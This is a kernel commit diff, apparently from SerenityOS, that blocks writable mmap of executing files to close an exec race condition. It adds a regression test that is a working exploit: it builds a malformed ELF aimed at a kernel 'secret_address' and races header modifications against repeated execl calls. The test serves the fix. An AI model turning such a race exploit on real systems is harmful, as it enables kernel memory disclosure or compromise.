Kernel: Enforce W^X between sys$mmap() and sys$execve()

It's now an error to sys$mmap() a file as writable if it's currently
mapped executable by anyone else.

It's also an error to sys$execve() a file that's currently mapped
writable by anyone else.

This fixes a race condition vulnerability where one program could make
modifications to an executable while another process was in the kernel,
in the middle of exec'ing the same executable.

Test: Kernel/elf-execve-mmap-race.cpp

Kernel/Process.cpp

@@ -24,13 +24,13 @@
  * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  */
 
+#include <AK/Demangle.h>
 #include <AK/FileSystemPath.h>
 #include <AK/ScopeGuard.h>
 #include <AK/StdLibExtras.h>
 #include <AK/StringBuilder.h>
 #include <AK/Time.h>
 #include <AK/Types.h>
-#include <AK/Demangle.h>
 #include <Kernel/Arch/i386/CPU.h>
 #include <Kernel/Arch/i386/PIT.h>
 #include <Kernel/Console.h>
@@ -301,6 +301,13 @@ static bool validate_inode_mmap_prot(const Process& process, int prot, const Ino
         return false;
     if ((prot & PROT_READ) && !metadata.may_read(process))
         return false;
+    InterruptDisabler disabler;
+    if (inode.vmobject()) {
+        if ((prot & PROT_EXEC) && inode.vmobject()->writable_mappings())
+            return false;
+        if ((prot & PROT_WRITE) && inode.vmobject()->executable_mappings())
+            return false;
+    }
     return true;
 }
 
@@ -708,6 +715,18 @@ int Process::do_exec(NonnullRefPtr<FileDescription> main_program_description, Ve
     if (parts.is_empty())
         return -ENOENT;
 
+    RefPtr<InodeVMObject> vmobject;
+    if (interpreter_description) {
+        vmobject = InodeVMObject::create_with_inode(*interpreter_description->inode());
+    } else {
+        vmobject = InodeVMObject::create_with_inode(*main_program_description->inode());
+    }
+
+    if (static_cast<const InodeVMObject&>(*vmobject).writable_mappings()) {
+        dbg() << "Refusing to execute a write-mapped program";
+        return -ETXTBSY;
+    }
+
     u32 entry_eip = 0;
     // FIXME: Is there a race here?
     auto old_page_directory = move(m_page_directory);
@@ -717,10 +736,7 @@ int Process::do_exec(NonnullRefPtr<FileDescription> main_program_description, Ve
 #endif
     ProcessPagingScope paging_scope(*this);
 
-    struct VMObjectAndRegion {
-        NonnullRefPtr<VMObject> vmobject;
-        Region* region;
-    };
+    Region* region { nullptr };
 
     InodeMetadata loader_metadata;
 
@@ -731,22 +747,16 @@ int Process::do_exec(NonnullRefPtr<FileDescription> main_program_description, Ve
     //      0x08000000 is a verified random number chosen by random dice roll https://xkcd.com/221/
     u32 totally_random_offset = interpreter_description ? 0x08000000 : 0;
 
-    auto [vmobject, region] = [&]() {
-        // FIXME: We should be able to load both the PT_INTERP interpreter and the main program... once the RTLD is smart enough
-        if (interpreter_description) {
-            loader_metadata = interpreter_description->metadata();
-            auto vmobject = InodeVMObject::create_with_inode(*interpreter_description->inode());
-            auto region = allocate_region_with_vmobject(VirtualAddress(), loader_metadata.size, vmobject, 0, interpreter_description->absolute_path(), PROT_READ, false);
-            // we don't need the interpreter file desciption after we've loaded (or not) it into memory
-            interpreter_description = nullptr;
-            return VMObjectAndRegion { move(vmobject), region };
-        }
-
+    // FIXME: We should be able to load both the PT_INTERP interpreter and the main program... once the RTLD is smart enough
+    if (interpreter_description) {
+        loader_metadata = interpreter_description->metadata();
+        region = allocate_region_with_vmobject(VirtualAddress(), loader_metadata.size, *vmobject, 0, interpreter_description->absolute_path(), PROT_READ, false);
+        // we don't need the interpreter file desciption after we've loaded (or not) it into memory
+        interpreter_description = nullptr;
+    } else {
         loader_metadata = main_program_description->metadata();
-        auto vmobject = InodeVMObject::create_with_inode(*main_program_description->inode());
-        auto region = allocate_region_with_vmobject(VirtualAddress(), loader_metadata.size, vmobject, 0, main_program_description->absolute_path(), PROT_READ, false);
-        return VMObjectAndRegion { move(vmobject), region };
-    }();
+        region = allocate_region_with_vmobject(VirtualAddress(), loader_metadata.size, *vmobject, 0, main_program_description->absolute_path(), PROT_READ, false);
+    }
 
     ASSERT(region);
 
@@ -789,7 +799,7 @@ int Process::do_exec(NonnullRefPtr<FileDescription> main_program_description, Ve
                 prot |= PROT_WRITE;
             if (is_executable)
                 prot |= PROT_EXEC;
-            if (auto* region = allocate_region_with_vmobject(vaddr.offset(totally_random_offset), size, vmobject, offset_in_image, String(name), prot))
+            if (auto* region = allocate_region_with_vmobject(vaddr.offset(totally_random_offset), size, *vmobject, offset_in_image, String(name), prot))
                 return region->vaddr().as_ptr();
             return nullptr;
         };
@@ -828,7 +838,7 @@ int Process::do_exec(NonnullRefPtr<FileDescription> main_program_description, Ve
         //     instead of just non-null. You could totally have a DSO with entry point of
         //     the beginning of the text segement.
         if (!loader->entry().offset(totally_random_offset).get()) {
-            kprintf("do_exec: Failure loading %s, entry pointer is invalid! (%p)",  path.characters(), loader->entry().offset(totally_random_offset).get());
+            kprintf("do_exec: Failure loading %s, entry pointer is invalid! (%p)\n", path.characters(), loader->entry().offset(totally_random_offset).get());
             return -ENOEXEC;
         }
 

Kernel/VM/InodeVMObject.cpp

@@ -175,3 +175,23 @@ int InodeVMObject::release_all_clean_pages_impl()
     });
     return count;
 }
+
+u32 InodeVMObject::writable_mappings() const
+{
+    u32 count = 0;
+    const_cast<InodeVMObject&>(*this).for_each_region([&](auto& region) {
+        if (region.is_writable())
+            ++count;
+    });
+    return count;
+}
+
+u32 InodeVMObject::executable_mappings() const
+{
+    u32 count = 0;
+    const_cast<InodeVMObject&>(*this).for_each_region([&](auto& region) {
+        if (region.is_executable())
+            ++count;
+    });
+    return count;
+}

Kernel/VM/InodeVMObject.h

@@ -47,6 +47,9 @@ public:
 
     int release_all_clean_pages();
 
+    u32 writable_mappings() const;
+    u32 executable_mappings() const;
+
 private:
     explicit InodeVMObject(Inode&, size_t);
     explicit InodeVMObject(const InodeVMObject&);

Tests/Kernel/elf-execve-mmap-race.cpp

@@ -0,0 +1,128 @@
+#include <LibELF/exec_elf.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+volatile bool hax = false;
+
+int main()
+{
+    char buffer[16384];
+
+    auto& header = *(Elf32_Ehdr*)buffer;
+    header.e_ident[EI_MAG0] = ELFMAG0;
+    header.e_ident[EI_MAG1] = ELFMAG1;
+    header.e_ident[EI_MAG2] = ELFMAG2;
+    header.e_ident[EI_MAG3] = ELFMAG3;
+    header.e_ident[EI_CLASS] = ELFCLASS32;
+    header.e_ident[EI_DATA] = ELFDATA2LSB;
+    header.e_ident[EI_VERSION] = EV_CURRENT;
+    header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
+    header.e_ident[EI_ABIVERSION] = 0;
+    header.e_type = ET_EXEC;
+    header.e_version = EV_CURRENT;
+    header.e_ehsize = sizeof(Elf32_Ehdr);
+    header.e_machine = EM_386;
+    header.e_shentsize = sizeof(Elf32_Shdr);
+
+    header.e_phnum = 1;
+    header.e_phoff = 52;
+    header.e_phentsize = sizeof(Elf32_Phdr);
+
+    auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
+    ph[0].p_vaddr = 0x20000000;
+    ph[0].p_type = PT_LOAD;
+    ph[0].p_filesz = sizeof(buffer);
+    ph[0].p_memsz = sizeof(buffer);
+    ph[0].p_flags = PF_R | PF_W;
+    ph[0].p_align = PAGE_SIZE;
+
+    header.e_shnum = 3;
+    header.e_shoff = 1024;
+
+    u32 secret_address = 0x00184658;
+
+    auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
+    sh[0].sh_type = SHT_SYMTAB;
+    sh[0].sh_offset = 2048;
+    sh[0].sh_entsize = sizeof(Elf32_Sym);
+    sh[0].sh_size = 1 * sizeof(Elf32_Sym);
+
+    sh[1].sh_type = SHT_STRTAB;
+    sh[1].sh_offset = secret_address - 0x01001000;
+    sh[1].sh_entsize = 0;
+    sh[1].sh_size = 1024;
+
+    sh[2].sh_type = SHT_STRTAB;
+    sh[2].sh_offset = 4096;
+    sh[2].sh_entsize = 0;
+    sh[2].sh_size = 1024;
+    header.e_shstrndx = 2;
+
+    auto* sym = (Elf32_Sym*)(&buffer[2048]);
+    sym[0].st_value = 0;
+    sym[0].st_name = 0;
+
+    header.e_entry = 0;
+
+    int fd = open("x", O_RDWR | O_CREAT, 0777);
+    if (fd < 0) {
+        perror("open");
+        return 1;
+    }
+
+    int nwritten = write(fd, buffer, sizeof(buffer));
+    if (nwritten < 0) {
+        perror("write");
+        return 1;
+    }
+
+    sync();
+
+    auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
+    if (mapped == MAP_FAILED) {
+        perror("mmap");
+        return 1;
+    }
+
+    auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
+
+    pthread_attr_t attrs;
+    pthread_attr_init(&attrs);
+    sched_param high_prio { 99 };
+    pthread_attr_setschedparam(&attrs, &high_prio);
+
+    pthread_t t;
+    pthread_create(
+        &t, &attrs, [](void* ctx) -> void* {
+            auto& ph = *(volatile Elf32_Phdr*)ctx;
+            for (;;) {
+                if (!hax)
+                    ph.p_offset = 0x60000000;
+                else
+                    ph.p_offset = 0;
+                hax = !hax;
+                usleep(1);
+            }
+            return nullptr;
+        },
+        &writable_program_headers[0]);
+
+    for (;;) {
+
+        if (!fork()) {
+        try_again:
+            printf("exec\n");
+            if (execl("/home/anon/x", "x", nullptr) < 0) {
+            }
+            goto try_again;
+        }
+
+        printf("waitpid\n");
+        waitpid(-1, nullptr, 0);
+    }
+    return 0;
+}